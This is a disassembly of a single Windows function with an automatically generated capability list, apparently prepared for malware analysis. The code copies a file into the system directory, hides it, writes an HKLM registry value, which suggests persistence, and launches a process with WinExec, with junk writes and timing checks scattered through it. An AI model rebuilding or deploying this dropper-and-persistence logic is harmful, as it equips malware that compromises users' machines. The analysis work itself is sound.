Function at 0x46a8e4
Capabilities:
Check for time delay via gettickcount
Create process on windows
Delete file
Get common file path
Move file
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff14
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xe0], eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x46abb7
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
push 0xc8
lea eax, [ebp - 0xd6]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 8]
lea edx, [ebp - 0xd6]
mov ecx, 0xc9
call fcn.004043cc
lea eax, [ebp - 8]
mov edx, dword [0x4706a8]
call fcn.00404424
lea edx, [ebp - 0xe0]
xor eax, eax
call fcn.00402ad4
mov eax, dword [ebp - 0xe0]
lea edx, [ebp - 0xdc]
call fcn.00408014
mov eax, dword [ebp - 0xdc]
push eax
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 8]
call fcn.00408014
mov edx, dword [ebp - 0xe4]
pop eax
call fcn.00404568
je 0x46ab87
mov byte [ebp - 1], 1
mov eax, dword [ebp - 8]
call fcn.004087fc
test al, al
jne 0x46ab91
push 0x40
lea edx, [ebp - 0xe8]
xor eax, eax
call fcn.00402ad4
mov ecx, dword [ebp - 0xe8]
mov dl, 1
mov eax, dword [0x415468]
call fcn.004192a8
mov ebx, eax
mov eax, 0x7328
call fcn.00402da8
add eax, 0x16d0b
mov dword [0x471e28], eax
mov dword [0x471e30], 0x16c05
mov dword [0x471e30], 0x7dbe
push 0xffff
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, dword [0x415468]
call fcn.004192a8
mov esi, eax
push 0
push 0
mov eax, ebx
call fcn.00418e14
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
sub eax, 1
sbb edx, 0
push edx
push eax
mov edx, ebx
mov eax, esi
call fcn.00419090
call fcn.00402b34
mov eax, 0xc8
call fcn.00402da8
add al, 0xa
mov byte [ebp - 0xd], al
mov dword [0x471c3c], 0x15879c48
lea edx, [ebp - 0xd]
mov ecx, 1
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0x10]
mov eax, ebx
call fcn.00403390
mov eax, esi
call fcn.00403390
call sub.kernel32.dll_GetTickCount_1
mov dword [0x471e40], 0xdf7d312
mov dword [0x471e30], 0xbd4a
push 7
mov eax, dword [ebp - 8]
call fcn.0040461c
mov ebx, eax
push ebx
call sub.kernel32.dll_SetFileAttributesA
call sub.kernel32.dll_GetTickCount_1
mov dword [0x471e30], 0x42dd
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
mov eax, dword [0x4706b4]
call fcn.0040461c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
mov dword [0x471c3c], 0x516eb44
call sub.kernel32.dll_GetTickCount_1
add eax, 0x10032
mov dword [0x471e2c], eax
mov eax, dword [0x4706ac]
call fcn.0040441c
mov esi, eax
push esi
mov eax, dword [0x4706ac]
call fcn.0040461c
push eax
push 1
push 0
push 0x46abc8
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
push 4
push 0
lea edx, [ebp - 0xec]
xor eax, eax
call fcn.00402ad4
mov eax, dword [ebp - 0xec]
call fcn.0040461c
push eax
call sub.kernel32.dll_MoveFileExA
call sub.kernel32.dll_GetTickCount_1
call sub.kernel32.dll_GetTickCount_1
add eax, 0xab1e
mov dword [0x471e2c], eax
mov dword [0x471e28], 0x153d2
mov dword [0x471e30], 0x3add
mov dword [0x471e40], 0xb50a
cmp dword [0x471e1c], 0
jle 0x46ab7f
push 0
push 0x46abd4
call sub.kernel32.dll_WinExec
jmp 0x46ab87
push 0
push ebx
call sub.kernel32.dll_WinExec
mov dword [0x471c3c], 0x344927c9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46abbe
lea eax, [ebp - 0xec]
mov edx, 5
call fcn.00404180
lea eax, [ebp - 8]
call fcn.0040415c
ret